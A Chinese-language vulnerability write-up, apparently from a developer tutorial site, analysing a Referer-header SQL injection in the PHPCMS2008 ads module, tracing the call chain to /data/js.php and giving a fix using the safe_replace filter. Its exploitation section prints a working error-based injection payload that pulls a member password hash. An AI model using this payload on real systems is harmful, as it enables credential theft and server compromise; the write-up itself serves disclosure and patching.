PHPCMS2008广告模板SQL注入漏洞修复
00 漏洞描述
PHPCMS2008由于广告模块取referer不严，导致一处sql注入漏洞.可以得到管理员用户名与密码，攻击者登录后台后可能会获取webshell，对服务器进行进一步的渗透。
01 漏洞分析
漏洞产生的位置：
/ads/include/ads_place.class.php的show方法中.
function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...
sql语句中
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
这里$this->referrer通过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。
所以现在已经找到漏洞点，下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的，比如只能管理员利用，那就相当的鸡肋了。
这里使用回溯的方法，看看哪些页面调用了它。
页面/ads/include/commom.inc.php
<?php ... require MOD_ROOT.'include/ads_place.class.php'; require MOD_ROOT.'include/ads.class.php'; ... ?>
在往上看看谁调用了/ads/include/commom.inc.php
/ads/ad.php文件中
<?php ... require './include/common.inc.php'; ... ?>
ad.php文件为用户可控文件，但ad.php有时不能访问，继续向上查找/data/js.php
<?php chdir(‘../ads/'); require ‘./ad.php'; ?>
在用户访问首页时，会调用js.php，通过该文件可以提交有害字段，然后通过逐层调用，传入字段referer到危险方法show，引入SQL注入攻击。
02 漏洞利用
修改请求头中的referer字段的话有很多种，比如burpsuite，Tamper Data…
这里直接使用火狐的Tamper Data进行修改：
点击Start Tamper,然后访问http://your-addr/data/js.php?id=1
这时候Tamper Data会跳出来,在右边框内，点击右键，添加一个element值填写payload
referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#
这里我解释一下：因为漏洞的sql语句是INSERT是不回显的，所以可以使用盲注，这里的payload使用的floor报错注入。floor报错注入原理请参考：floor函数用法
把这个payload带入sql语句中是：
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);
03 漏洞修复
对相关字段进行过滤处理。
$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';
这里safe_replace是PHPCMS2008封装的过滤函数。
以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持！
相关文章
这篇文章主要介绍了PHP学习记录之数组函数，php中的数组是一个有序映射，数组可以接受任意数量用逗号分隔符的键值对。下面结合代码实例给大家接受，感兴趣的朋友一起看看吧2018-06-06
这篇文章主要为大家介绍了php编写缓存微信access_token到本地脚本示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪2023-08-08
thinkPHP+phpexcel实现excel报表输出功能示例
这篇文章主要介绍了thinkPHP+phpexcel实现excel报表输出功能,结合具体实例形式分析了thinkPHP整合PHPExcel实现针对Excel文件相关操作技巧,需要的朋友可以参考下2017-06-06
本篇文章对PHP中的一些常用函数的用法进行了详细的分析介绍。需要的朋友参考下2013-05-05
这篇文章主要介绍了PHP判断JSON对象是否存在的方法(推荐)的相关资料,非常不错，具有参考借鉴价值，需要的朋友可以参考下2016-07-07
这篇文章主要介绍了PHP中重启php-fpm的几种方法，具有很好的参考价值，希望对大家有所帮助。如有错误或未考虑完全的地方，望不吝赐教2023-02-02
PHP利用pdo_odbc实现连接数据库示例【基于ThinkPHP5.1搭建的项目】
这篇文章主要介绍了PHP利用pdo_odbc实现连接数据库,结合实例形式分析了基于ThinkPHP5.1框架使用pdo_odbc连接数据库相关操作步骤与实现技巧,需要的朋友可以参考下2019-05-05
php数组查找函数in_array()、array_search()、array_key_exists()使用实例
这篇文章主要介绍了php数组查找函数in_array()、array_search()、array_key_exists()使用实例,需要的朋友可以参考下2014-04-04
这篇文章主要介绍了文件上传之SWFUpload插件（代码）,实现此代码主要分为两部分：1.前台文件index.html和 2.后台文件upload.php，需要的朋友可以参考下2015-07-07
今天小编就为大家分享一篇Laravel5.5 动态切换多语言的操作方式，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧2019-10-10
最新评论